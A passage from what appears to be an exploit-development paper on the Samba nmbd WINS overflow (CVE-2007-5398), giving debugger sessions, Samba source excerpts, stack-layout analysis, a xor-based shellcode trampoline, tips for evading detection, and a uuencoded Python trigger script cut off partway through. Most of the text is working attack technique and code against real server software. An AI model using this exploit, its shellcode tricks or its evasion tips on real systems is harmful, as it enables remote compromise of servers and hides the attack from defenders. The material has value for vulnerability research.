82 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) { 83 unsigned char x = res‑>rdata[i+j]; 84 if (x < 32 || x > 127)

85 x = '.';

86

87 if (i+j >= res‑>rdlength)

88 break;

89 DEBUGADD(4, ("%c", x));

90 }

91

92 DEBUGADD(4, (" hex "));

93

94 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) { 95 if (i+j >= res‑>rdlength)

96 break;

97 DEBUGADD(4, ("%02X", (unsigned char)res‑>rdata[i+j])); 98 }

99

100 DEBUGADD(4, ("\n"));

101 }

102 }

103

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

That code is not very useful at the moment. If the pointers where valid, it'd work (not surprisingly).

Looking at the code flow from send_packet(), (code is above), we hit some interesting code that we can use for an information leak.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Starting program: /usr/local/sbin/nmbd ‑F ‑s smb.conf

debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...

Program received signal SIGSEGV, Segmentation fault.

0x080ada3d in put_nmb_name ()

(gdb) bt

#0 0x080ada3d in put_nmb_name ()

#1 0x080ae26a in put_res_rec ()

#2 0x080af184 in build_packet ()

#3 0x080af236 in send_packet ()

#4 0x0806d38a in reply_netbios_packet ()

#5 0x080728a5 in write_browse_list ()

Previous frame inner to this frame (corrupt stack?)

(gdb) x/10i $eip

0x80ada3d <put_nmb_name+49>: repz cmpsb %es:(%edi),%ds:(%esi) 0x80ada3f <put_nmb_name+51>: jne 0x80adab5 <put_nmb_name+169> 0x80ada41 <put_nmb_name+53>: mov 0x8(%ebp),%edi

0x80ada44 <put_nmb_name+56>: pushl 0x50(%edi)

0x80ada47 <put_nmb_name+59>: push $0x0

0x80ada49 <put_nmb_name+61>: pushl 0xffffffcc(%ebp) 0x80ada4c <put_nmb_name+64>: lea 0xffffffd8(%ebp),%eax 0x80ada4f <put_nmb_name+67>: push %eax

0x80ada50 <put_nmb_name+68>: call 0x80ad98c <put_name> 0x80ada55 <put_nmb_name+73>: mov 0xffffffd4(%ebp),%edx (gdb) i r edi esi

edi 0x8102db9 135278009

esi 0x0 0

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Unfortunately, the above is crashing due to a NULL pointer dereference in esi when testing the contents of the name. (This piece of code is mapped to the check where the name is tested against '*' in put_nmb_name().)

At this point of time I've decided that it is probably easier to start analysing the contents of reply_netbios_packet() so that I can see exactly what is being overwritten, where, and work out what effects it may have. For this we'll use IDA Pro Standard 5.2

First off, let's take a better look at what is happening in the source code, it'll help with analysis of the assembly.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

nmbd/nmbd_winsserver.c:

856 /**************************************

857 Reply to a netbios name packet. see rfc1002.txt

858 ***************************************

859

860 void reply_netbios_packet(struct packet_struct *orig_packet, 861 int rcode, enum netbios_reply_type_code rcv_code, int opcode, 862 int ttl, char *data,int len) 863 {

864 struct packet_struct packet;

865 struct nmb_packet *nmb = NULL;

866 struct res_rec answers;

867 struct nmb_packet *orig_nmb = &orig_packet‑>packet.nmb; 868 BOOL loopback_this_packet = False;

869 int rr_type = RR_TYPE_NB;

870 const char *packet_type = "unknown";

871

872 /* Check if we are sending to or from ourselves. */

873 if(ismyip(orig_packet‑>ip) && (orig_packet‑>port == global_nmb_port)) 874 loopback_this_packet = True;

875

876 nmb = &packet.packet.nmb;

877

...

965 if (data && len) {

966 nmb‑>answers‑>rdlength = len;

967 memcpy(nmb‑>answers‑>rdata, data, len); 968 }

969

...

unfortunately, the nmb pointer is not used after line 967.

...

include/nameserv.h:

524

525 struct packet_struct

526 {

527 struct packet_struct *next;

528 struct packet_struct *prev;

529 BOOL locked;

530 struct in_addr ip;

531 int port;

532 int fd;

533 time_t timestamp;

534 enum packet_type packet_type;

535 union {

536 struct nmb_packet nmb;

537 struct dgram_packet dgram;

538 } packet;

539 };

540

..

459 /* An nmb packet. */

460 struct nmb_packet {

461 struct {

462 int name_trn_id;

463 int opcode;

464 BOOL response;

465 struct {

466 BOOL bcast;

467 BOOL recursion_available;

468 BOOL recursion_desired;

469 BOOL trunc;

470 BOOL authoritative;

471 } nm_flags;

472 int rcode;

473 int qdcount;

474 int ancount;

475 int nscount;

476 int arcount;

477 } header;

478

479 struct {

480 struct nmb_name question_name;

481 int question_type;

482 int question_class;

483 } question;

484

485 struct res_rec *answers;

486 struct res_rec *nsrecs;

487 struct res_rec *additional;

488 };

...

441 /* A resource record. */

442 struct res_rec {

443 struct nmb_name rr_name;

444 int rr_type;

445 int rr_class;

446 int ttl;

447 int rdlength;

448 char rdata[MAX_DGRAM_SIZE];

449 };

450

...

include/smb.h:

1718 /* A netbios name structure. */

1719 struct nmb_name {

1720 nstring name;

1721 char scope[64];

1722 unsigned int name_type;

1723 };

...

1712 #define MAX_NETBIOSNAME_LEN 16

1713 /* DOS character, NetBIOS namestring. Type used on the wire. */

1714 typedef char nstring[MAX_NETBIOSNAME_LEN];

1715 /* Unix character, NetBIOS namestring. Type used to manipulate name in

nmbd. */ 1716 typedef char unstring[MAX_NETBIOSNAME_LEN*4];

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Looking over the struct nmb_packet, we see that it may be useful to overwrite the qdcount, and set a count for either ancount, nscount, or adcount (which map to the pointers: answers, nsrec and additional, respectively). Since there are 12 bytes, we can directly control one set of these. Hopefully, the control of the count arguments map to direct control of the same pointer, otherwise additional problems will be had.

Looking at these structure layouts, one way of setting this up would be to analyze the stack layouts, and re‑create the structures in the exploit code ,which then gets serialized / sent across the wire.

One disadvantage of this model is that it needs additional flexibility due to difference in compiler output for different versions, and potentially different compiler flags / options / optimisations, as there may be additional padding / ordering, and other fun things to deal.

An additional problem with controlling a pointer to a "struct res_rec" is that that the rdlength field has to be a sane value, otherwise it may crash in memcpy, or, cause an EIP overwrite in the sendpacket() function in char buf[1024];. Both of these results would cause the process to crash :(. As this is a single shot vulnerability, causing it to potentially crash is out of the question.

Since we're unable to know contents of the memory we're trying to leak in advance, there doesn't appear to be much point continuing down this path. That said, it may be possible to use certain static[] data to leak contents of the .bss and heap that may be useful.

After initially being disappointed about this realisation, I realised that by using known static .bss location, we could hopefully leak the rest of the .bss, then, if we're lucky, the heap allocation. One side effect of trying to leak the heap layout, is that it is not guaranteed to be straight after the nmbd .bss. (For example, default kernel on Fedora 8 ships with heap randomised and NOT after the .bss).

Due to this, we would need to find a suitable pointer to the heap in the .bss. A suitable pointer value is:

* One that is not allocated too early in the nmbd initialisation process. This requirement is because the res_rec structure size is fairly large, and if it is an early allocated structure, by adjusting the pointer so that

rdlength points to the integer, it may hit an unmapped page. * One that has a suitable small 4 byte integer value from the pointer location, so that we can continue the memory leaking / analysis.

Before we get too far ahead of ourselves, first we need to re‑create the stack layout, and see if we can overwrite some of the counts / pointers correctly.

After doing some analysis of how the stack is laid out, (via IDA Pro Standard 5.2) we can start to adjust the exploit code to ensure it works. I added the applicable structure representations in python so that I could set the values explicitly (for example, nmb_packet['answers'] = 0x08049000) , rather than having to hard code offsets / hex arrays.

Unfortunately, it appears that the stack layout for FreeBSD 6.2's Samba release, the ancount variable is not aligned with the 6 byte writes :( :(

We can however influence the 2 most significant bytes (with least 2 significant bytes being flags), but reviewing the put_res_rec(), it kills the dream further:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

398 for (i=0;i<count;i++) {

399 int l = put_nmb_name(buf,offset,&recs[i].rr_name); 400 offset += l;

401 ret += l;

402 RSSVAL(buf,offset,recs[i].rr_type);

403 RSSVAL(buf,offset+2,recs[i].rr_class); 404 RSIVAL(buf,offset+4,recs[i].ttl);

405 RSSVAL(buf,offset+8,recs[i].rdlength); 406 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength); 407 offset += 10+recs[i].rdlength;

408 ret += 10+recs[i].rdlength;

409 }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Looping at a minimum of 65536 is out of the question, as the 1024 byte buffer in send_packet() will quickly be overflowed, and the memcpy() length parameter is unknown on subsequent calls.

Reviewing the flags that's available to us:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

77 /**************************************

78 Get/Set problematic nb_flags as network byte order 16 bit int.

79 ***************************************

80

81 uint16 get_nb_flags(char *buf)

82 {

83 return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);

84 }

85

86 void set_nb_flags(char *buf, uint16 nb_flags)

87 {

88 *buf++ = ((nb_flags & NB_FLGMSK) & 0xFF);

89 *buf = '\0';

90 }

nameserv.h:

89 /* Mask applied to outgoing NetBIOS flags. */

90 #define NB_FLGMSK 0xE0

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We can see we control the most significant byte of the 2‑byte flag, which is still highly undesirable, as the put_res_rec() code will loop at a minimum of thirty two times.

Unfortunately, these restrictions prevent us from

setting the ancount to 1. Due to the 6 byte writes, the other fields nsrec and additional will not be overwritten correctly. So far, it appears that FreeBSD 6.2 default samba package is not vulnerable to this identified memory leak, which is unfortunate.

After a quick analysis of the nmbd binary in Ubuntu 7.10 default install, it appears the stack checking code re‑ordered the buffers, and put the resource record after the packet structure ‑ this means we can't use it to leak memory from nmbd :( If we could of leaked memory, there may be a possibility to use that to reveal what the stack cookie is. If the stack \ cookie was leakable, and our 6 byte writes aligned correctly, we could exploit the process.

‑‑[ 5.6.2 ‑ Back to the future^W.bss

I decided to look at the crash state again, and see what we can do with the 15 byte static .bss value in name_to_key()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Starting program: /usr/local/sbin/nmbd ‑F ‑D ‑s smb.conf Program received signal SIGSEGV, Segmentation fault.

0x41414242 in ?? ()

(gdb) i r

eax 0x1 1

ecx 0x2834fd80 674561408

edx 0x40 64

ebx 0x42420000 1111621632

esp 0xbfbfe544 0xbfbfe544

ebp 0x5a5a0000 0x5a5a0000

esi 0x4242 16962

edi 0x41414242 1094795842

eip 0x41414242 0x41414242

eflags 0x10282 66178

cs 0x33 51

ss 0x3b 59

ds 0x3b 59

es 0x3b 59

fs 0x3b 59

gs 0x1b 27

(gdb)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After looking at it again, we have:

* partial control of ebx (two most significant bytes)

* partial control of ebp (two most significant bytes)

* partial control of esi (two least significant bytes)

After thinking about this a little more, with a bit of experimentation, we could use "xor [edi+offset], reg" to modify partial contents of the code that we could execute.

Testing this theory out, we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ndisasm ‑b 32 t

00000000 315F08 xor [edi+0x8],ebx

00000003 317708 xor [edi+0x8],esi

00000006 316F08 xor [edi+0x8],ebp

00000009 314708 xor [edi+0x8],eax

0000000C 315F08 xor [edi+0x8],ebx

0000000F 314F08 xor [edi+0x8],ecx

00000012 315708 xor [edi+0x8],edx

00000015 317F08 xor [edi+0x8],edi

simple toupper:

$ cat t | tr a‑z A‑Z | ndisasm ‑b 32 ‑

00000000 315F08 xor [edi+0x8],ebx

00000003 315708 xor [edi+0x8],edx

00000006 314F08 xor [edi+0x8],ecx

00000009 314708 xor [edi+0x8],eax

0000000C 315F08 xor [edi+0x8],ebx

0000000F 314F08 xor [edi+0x8],ecx

00000012 315708 xor [edi+0x8],edx

00000015 317F08 xor [edi+0x8],edi

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From the above, we can see that we can't use esi and ebp directly in the xor argument, so if needed, we can push/pop around it. (This is not ideal, as it reduces the space left that we may be critical.)

Looking quickly at this, we can do:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

xor [edi + <offset>], ebx

push ebp

pop ebx

xor [edi + <offset>], ebx

sub esp, esi

jmp esp

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The last two instructions encode to \x29\xf4\xff\xe4, so that means we need a byte with high bit set, that preferably expands to three bytes. (If the previous sentence does not make sense, re‑read the section on how the netbios name is converted due to charset issues). Quickly generating the applicable bytes, we see that \xb0 expands to \xe2\x96\x91, and is a suitable byte to use.

To get what we need:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>>> hex(0xe2 ^ 0xf4)

'0x16'

>>> hex(0x96 ^ 0xff)

'0x69'

>>> hex(0x91 ^ 0xe4)

'0x75'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Putting all this together, we get:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Breakpoint 1, 0x08117f80 in keydata.21 ()

(gdb) x/10i $eip

0x8117f80 <keydata.21>: xor %ebx,0x7(%edi)

0x8117f83 <keydata.21+3>: push %ebp

0x8117f84 <keydata.21+4>: pop %ebx

0x8117f85 <keydata.21+5>: xor %ebx,0x9(%edi)

0x8117f88 <keydata.21+8>: sub %esp,%edx

0x8117f8a <keydata.21+10>: xchg %eax,%esi

0x8117f8b <keydata.21+11>: xchg %eax,%ecx

0x8117f8c <keydata.21+12>: dec %ecx

...

(gdb) stepi

0x08117f83 in keydata.21 ()

(gdb) x/10i $eip

0x8117f83 <keydata.21+3>: push %ebp

0x8117f84 <keydata.21+4>: pop %ebx

0x8117f85 <keydata.21+5>: xor %ebx,0x9(%edi)

0x8117f88 <keydata.21+8>: sub %esi,%esp

0x8117f8a <keydata.21+10>: call *0x504e5749(%ecx) 0x8117f90 <keydata.21+16>: add %al,(%eax)

...

(gdb) stepi

0x08117f84 in keydata.21 ()

(gdb)

0x08117f85 in keydata.21 ()

(gdb)

0x08117f88 in keydata.21 ()

(gdb) x/10i $eip

0x8117f88 <keydata.21+8>: sub %esi,%esp

0x8117f8a <keydata.21+10>: jmp *%esp

...

(gdb) i r esi

esi 0x59e 1438

(gdb) x/10i $esp ‑ $esi

0xbfbfdfa6: cld

0xbfbfdfa7: mov %edi,%eax

0xbfbfdfa9: addb $0x0,(%eax)

0xbfbfdfac: mov %edi,%esi

0xbfbfdfae: nop

0xbfbfdfaf: addb $0x0,(%eax)

0xbfbfdfb2: add $0x3c,%esi

0xbfbfdfb5: addb $0x0,(%eax)

0xbfbfdfb8: mov %esp,%edi

0xbfbfdfba: nop

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

One problem with the above, is that the first_layer_sc.asm needs to be updated, as various things have changed. Such as edi pointing to the .bss memory location, esp pointing to where we are currently executing, etc. Those changes are relatively minor however.

Unfortunately, due to the half eip overwrite, we still need two addresses to gain code execution. However, this mechanism is probably more reliable than relying on stack addresses to be the same each run.

‑‑[ 5.7 ‑ Additional exploitation notes

Registrations take a parameter called ttl (time to live).. looking at the Samba source we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

static int get_ttl_from_packet(struct nmb_packet *nmb)

{

int ttl = nmb‑>additional‑>ttl;

if (ttl < lp_min_wins_ttl()) {

ttl = lp_min_wins_ttl();

}

if (ttl > lp_max_wins_ttl()) {

ttl = lp_max_wins_ttl();

}

return ttl;

}

param/loadparam.c:

FN_GLOBAL_INTEGER(lp_min_wins_ttl, &Globals.min_wins_ttl) Globals.min_wins_ttl = 60 * 60 * 6; /* 6 hours default. */

Globals.max_wins_ttl = 60 * 60 * 24 * 6; /* 6 days default. */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This means that by default, we have just under 6 hours to send all the required packets, and if we wanted, just under 6 days to exploit it. If the registration packets are sent at appropriate intervals, this should avoid any signatures based on sending interval / query times. Another way to avoid simple detection, would be to use differing netbios registration flags, and avoid reasonably static ip addresses.

In addition to the above time out, with a little bit more effort, it's possible to use the existing file descriptor, and ip address / port information in the packet structure passed to reply_netbios_packet(), in order to avoid new network connections which may be noticed / firewall'd / blocked in some way.

With further work against known targets, the ebp register could be restored correctly, and execution flow could be restored to the appropriate point. This would provide seamless exploitation.

‑‑[ 6 ‑ References

[1] http://us1.samba.org/samba/security/CVE‑2007‑5398.html

http://secunia.com/secunia_research/2007‑90/advisory/

[2] http://www.wireshark.org

[3] http://oss.coresecurity.com/projects/impacket.html

[4] http://sourceforge.net/projects/tdb/

[5] http://www.cs.rice.edu/~scrosby/hash/

[6] http://oss.coresecurity.com/projects/inlineegg.html

[7] http://www.phrack.org/issues.html?issue=59&id=7

[8] Bounds error: attempt to reference memory overrunning the end of an object. Pointer value: References, size: 1

‑‑[ 7 ‑ Addendum

I'm honoured that this paper was even considered worthy for inclusion. Thanks for the support ;)

I'll be present at Ruxcon 2008, so come along and join in the fun. http://www.ruxcon.org.au/ ‑ 29th November, 2008

Here is a proof of concept to trigger the issue:

begin 600 CVE‑2007_5398‑trigger.py M(R$O=7‑R+V)I;B]P>71H;VX@#0H‑"FEM<&]R="!S=')U8W0‑"FEM<&]R="!I M;7!A8VME="YS=')U8W1U<F4‑"FEM<&]R="!I;7!A8VME="YN;6(@#0II;7!O M<G0@<F%N9&]M#0II;7!O<G0@<WES#0II;7!O<G0@<V]C:V5T#0II;7!O<G0@ M=&EM90T*#0IC;&%S<R!.34)?4F5G:7‑T97)?4&%C:V5T*&EM<&%C:V5T+G‑T M<G5C='5R92Y3=')U8W1U<F4I.@T*"7‑T<G5C='5R92`]("@‑"@D)*"`G=')A M;G‑A8W1I;VY?:60G+"`G(4@G("DL#0H)"2@@)V9L86=S)RP@)R%()RDL#0H) M"2@@)W%U97‑T:6]N<R<L("<A2"<@*2P‑"@D)*"`G86YS=V5R7W)R<R<L("<A M2"<@*2P‑"@D)*"`G875T:&]R:71Y7W)R<R<L("<A2"<@*2P‑"@D)*"`G861D M:71I;VYA;%]R<G,G+"`G(4@G*2P‑"@T*"0DH("=Q=65R>5]N86UE)RP@)S,T M<R<I+`T*"0DH("=Q=65R>5]T>7!E)RP@)R%()R`I+`T*"0DH("=Q=65R>5]C M;&%S<R<L("<A2"<@*2P‑"@D)#0H)"2@@)V%D9&ET:6]N86Q?;F%M92<L("<R M<R<@*2P‑"@D)*"`G861D:71I;VYA;%]T>7!E)RP@)R%()RDL#0H)"2@@)V%D M9&ET:6]N86Q?8VQA<W,G+"`G(4@G("DL#0H)"2@@)W1I;65?=&]?;&EV92<L M("<A3"<@*2P‑"@D)*"`G9&%T85]L96XG+"`G(4@G("DL#0H)"2@@)V%D9&ET M:6]N86Q?9FQA9W,G+"`G(4@G("DL#0H)"2@@)V%D9&ET:6]N86Q?:7!A9&1R M)RP@)R%,)R`I#0H)*0T*#0IC;&%S<R!.34)?5')I9V=E<E]086‑K970H:6UP M86‑K970N<W1R=6‑T=7)E+E‑T<G5C='5R92DZ#0H)<W1R=6‑T=7)E(#T@*`T* M"0DH("=T<F%N<V%C=&EO;E]I9"<L("<A2"<@*2P‑"@D)*"`G9FQA9W,G+"`G M(4@G*2P‑"@D)*"`G<75E<W1I;VYS)RP@)R%()R`I+`T*"0DH("=A;G‑W97)? M<G)S)RP@)R%()R`I+`T*"0DH("=A=71H;W)I='E?<G)S)RP@)R%()R`I+`T* M"0DH("=A9&1I=&EO;F%L7W)R<R<L("<A2"<I+`T*#0H)"2@@)W%U97)Y7VYA M;64G+"`G,S1S)RDL#0H)"2@@)W%U97)Y7W1Y<&4G+"`G(4@G("DL#0H)"2@@ M)W%U97)Y7V‑L87‑S)RP@)R%()R`I+`T*"2D‑"@T*8VQA<W,@0U9%7S(P,#=? M‑3,Y.#H‑"@T*"71A<F=E=',@/2!;#0H)"7L@#0H)"0DG;F%M92<Z("=$96)U M9V=I;F<G+`T*"0D))V1E<V‑R:7!T:6]N)SH@)U1H:7,@=&%R9V5T(&%I;7,@ M=&\@8W)A<V@@=&AE('9U;&YE<F%B;&4@<V5R=FEC92<L#0H)"0DG<F5G:7‑T M97)?<&%C:V5T<R<Z(#$P,`T*"0E]#0H)70T*"0D‑"@T*"61E9B!?7VEN:71? M7RAS96QF+"!H;W‑T+"!T87)G970I.@T*"0EI9BAT87)G970@/"`P(&]R('1A M<F=E="`^(&QE;BAS96QF+G1A<F=E=',I*3H‑"@D)"7)A:7‑E($5X8V5P=&EO M;BP@)TEN=F%L:60@=&%R9V5T(&ED('‑P96‑I9FEE9"X@4&QE87‑E('‑E92`M M:"!F;W(@;6]R92!I;F9O<FUA=&EO;B<‑"@T*"0ES96QF+FAO<W0@/2!H;W‑T M#0H)"7‑E;&8N=&%R9V5T7VED(#T@=&%R9V5T#0H‑"@ED968@0W)E871E3DU" M4F5G:7‑T97)086‑K970H<V5L9BP@;F%M92P@:7`L(&9L86=S*3H‑"@D)96YC M;V1E9%]N86UE(#T@:6UP86‑K970N;FUB+F5N8V]D95]N86UE*&YA;64L(#!X M,6(L("(B*0T*#0H)"7!A8VME="`]($Y‑0E]296=I<W1E<E]086‑K970H*0T* M"0EP86‑K971;)W1R86YS86‑T:6]N7VED)UT@/2!R86YD;VTN<F%N9&EN="@P M+"`P>&9F9F8I#0H)"7!A8VME=%LG9FQA9W,G72`](#!X,CDP,`T*"0EP86‑K M971;)W%U97‑T:6]N<R==(#T@,0T*"0EP86‑K971;)V%N<W=E<E]R<G,G72`] M(#`‑"@D)<&%C:V5T6R=A=71H;W)I='E?<G)S)UT@/2`P#0H)"7!A8VME=%LG M861D:71I;VYA;%]R<G,G72`](#$‑"@T*"0EP86‑K971;)W%U97)Y7VYA;64G M72`](&5N8V]D961?;F%M90T*"0EP86‑K971;)W%U97)Y7W1Y<&4G72`](#!X M,C`‑"@D)<&%C:V5T6R=Q=65R>5]C;&%S<R==(#T@,'@P,0T*"0D‑"@D)<&%C M:V5T6R=A9&1I=&EO;F%L7VYA;64G72`](")<>&,P7'@P8R(‑"@D)<&%C:V5T M6R=A9&1I=&EO;F%L7W1Y<&4G72`](#!X,#`R,`T*"0EP86‑K971;)V%D9&ET M:6]N86Q?8VQA<W,G72`](#!X,#`P,0T*"0EP86‑K971;)W1I;65?=&]?;&EV M92==(#T@,`T*"0EP86‑K971;)V1A=&%?;&5N)UT@/2`V#0H)"7!A8VME=%LG M861D:71I;VYA;%]F;&%G<R==(#T@9FQA9W,‑"@D)<&%C:V5T6R=A9&1I=&EO M;F%L7VEP861D<B==(#T@:7`‑"@D‑"@D)<F5T=7)N('‑T<BAP86‑K970I#0HM"@ED968@5')I9V=E<E9U;&YE<F%B:6QI='DH<V5L9BDZ#0H)"6YA;64@/2!I M;7!A8VME="YN;6(N96YC;V1E7VYA;64H)RHG+"`P>#%B+"`B(BD‑"@T*"0DC M($ET(&%P<&5A<G,@:6UP86‑K970N;FUB+F5N8V]D95]N86UE(&1O97,@;F]T M(&AA;F1L92!T:&4@86)O=F4@8V%S92!E=F5R>2!W96QL("T@<V\@=V4@96YC M;V1E#0H)"2,@=&AE('1Y<&4@;6%N=6%L;'D‑"@T*"0EN86UE(#T@;F%M95LZ M,S%=("L@(EQX‑#)<>#1C(B`K(&YA;65;,S,Z70T*#0H)"71R:6=G97(@/2!. M34)?5')I9V=E<E]086‑K970H*0T*"0ET<FEG9V5R6R=T<F%N<V%C=&EO;E]I M9"==(#T@<F%N9&]M+G)A;F1I;G0H,"P@,'AF9F9F*0T*"0ET<FEG9V5R6R=F M;&%G<R==(#T@,'@P,3`P#0H)"71R:6=G97);)W%U97‑T:6]N<R==(#T@,0T* M"0ET<FEG9V5R6R=A;G‑W97)?<G)S)UT@/2`P#0H)"71R:6=G97);)V%U=&AO M<FET>5]R<G,G72`](#`‑"@D)=')I9V=E<ELG861D:71I;VYA;%]R<G,G72`] M(#`‑"@T*"0ET<FEG9V5R6R=Q=65R>5]N86UE)UT@/2!N86UE#0H)"71R:6=G M97);)W%U97)Y7W1Y<&4G72`](#!X,C`)#0H)"71R:6=G97);)W%U97)Y7V‑L M87‑S)UT@/2`P>#`Q#0H‑"@D)<VMT(#T@<V5L9BY#;VYN96‑T*"D‑"@D)<VMT M+G‑E;F0H<W1R*'1R:6=G97(I*0T*"0ES:W0N8VQO<V4H*0T*#0H)9&5F($UA M:V5.86UE*'‑E;&8I.@T*"0EL971T97)S(#T@6VD@9F]R(&D@:6X@<F%N9V4H M;W)D*"=!)RDL(&]R9"@G6B<I*S$I70T*"0ER86YD;VTN<VAU9F9L92AL971T M97)S*0T*"0EN86UE(#T@<F%N9&]M+G‑A;7!L92AL971T97)S+"!R86YD;VTN M<F%N9&EN="@R+"`Q‑"DI#0H)"6YA;64@/2`G)RYJ;VEN*%MC:'(H:2D@9F]R M(&D@:6X@;F%M95TI#0H‑"@D)<F5T=7)N(&YA;64‑"@T*"61E9B!#<F5A=&50 M86‑K971S*'‑E;&8I.@T*"0EP86‑K971S(#T@6UT‑"@D)#0H)"69O<B!I(&EN M(')A;F=E*'‑E;&8N=&%R9V5T<UMS96QF+G1A<F=E=%]I9%U;)W)E9VES=&5R M7W!A8VME=',G72DZ#0H)"0DC(&EP(#T@<F%N9&]M+G)A;F1I;G0H,"P@,'AF M9F9F9F9F9BD‑"@D)"6EP(#T@,'@V.#8Y‑F$V8@T*"0D);F%M92`]('‑E;&8N M36%K94YA;64H*0T*"0D)<&%C:V5T(#T@<V5L9BY#<F5A=&5.34)296=I<W1E M<E!A8VME="AN86UE+"!I<"P@,'@V,#`P*0T*"0D)<&%C:V5T<RYA<'!E;F0H M<&%C:V5T*0T*#0H)"7)E='5R;B!P86‑K971S#0H‑"@ED968@0V]N;F5C="AS M96QF*3H‑"@D)<VMT(#T@<V]C:V5T+G‑O8VME="AS;V‑K970N049?24Y%5"P@ M<V]C:V5T+E‑/0TM?1$=204TL(#`I#0H)"7‑K="YC;VYN96‑T*"AS96QF+FAO M<W0L(#$S‑RDI#0H)"7)E='5R;B!S:W0‑"@T*"61E9B!396YD4&%C:V5T<RAS M96QF+"!P86‑K971S*3H‑"@D)<VMT(#T@<V5L9BY#;VYN96‑T*"D‑"@D)9F]R M('!A8VME="!I;B!P86‑K971S.@T*"0D)<VMT+G‑E;F0H<&%C:V5T*0T*"0D) M=&EM92YS;&5E<"@P+C$I#0H‑"@D)<VMT+F‑L;W‑E*"D‑"@T*#0H)9&5F(')U M;BAS96QF*3H‑"@D)<&%C:V5T<R`]('‑E;&8N0W)E871E4&%C:V5T<R@I#0H) M"7‑E;&8N4V5N9%!A8VME=',H<&%C:V5T<RD‑"@T*"0ES96QF+E1R:6=G97)6 M=6QN97)A8FEL:71Y*"D‑"@D‑"F1E9B!P87)S95]A<F=S*&%R9W,I.@T*"69R M;VT@;W!T<&%R<V4@:6UP;W)T($]P=&EO;E!A<G‑E<@T*#0H)<&%R<V5R(#T@ M3W!T:6]N4&%R<V5R*"D‑"@EP87)S97(N<V5T7V1E9F%U;'1S*&AO<W0]3F]N M92P@=&%R9V5T/4YO;F4L(&QI<W0]1F%L<V4I#0H‑"@EP87)S97(N861D7V]P M=&EO;B@G+2UH;W‑T)RP@9&5S=#TB:&]S="(I#0H)<&%R<V5R+F%D9%]O<'1I M;VXH)RTM=&%R9V5T)RP@9&5S=#TB=&%R9V5T(BP@='EP93TB:6YT(BD‑"@EP M87)S97(N861D7V]P=&EO;B@G+2UL:7‑T)RP@9&5S=#TB;&ES="(L(&%C=&EO M;CTB<W1O<F5?=')U92(I#0H‑"@EO<'1S+"!A<F=S(#T@<&%R<V5R+G!A<G‑E M7V%R9W,H87)G<RD‑"@T*"6EF*&]P=',N:&]S="!I<R!.;VYE*3H‑"@D)<F%I M<V4@17AC97!T:6]N+"`G2&]S="!A<F=U;65N="!H87,@;F]T(&)E96X@<W5P M<&QI960L('!L96%S92!R=6X@=VET:"`M:"!T;R!S964@<&%R86UE=&5R<R<M"@T*"6EF*&]P=',N=&%R9V5T(&ES($YO;F4I.@T*"0ER86ES92!%>&‑E<'1I M;VXL("=487)G970@87)G=6UE;G0@:&%S(&YO="!B965N('‑U<'!L:65D+"!P M;&5A<V4@<G5N('=I=&@@+6@@=&\@<V5E('!A<F%M971E<G,G#0H‑"@EI9BAO 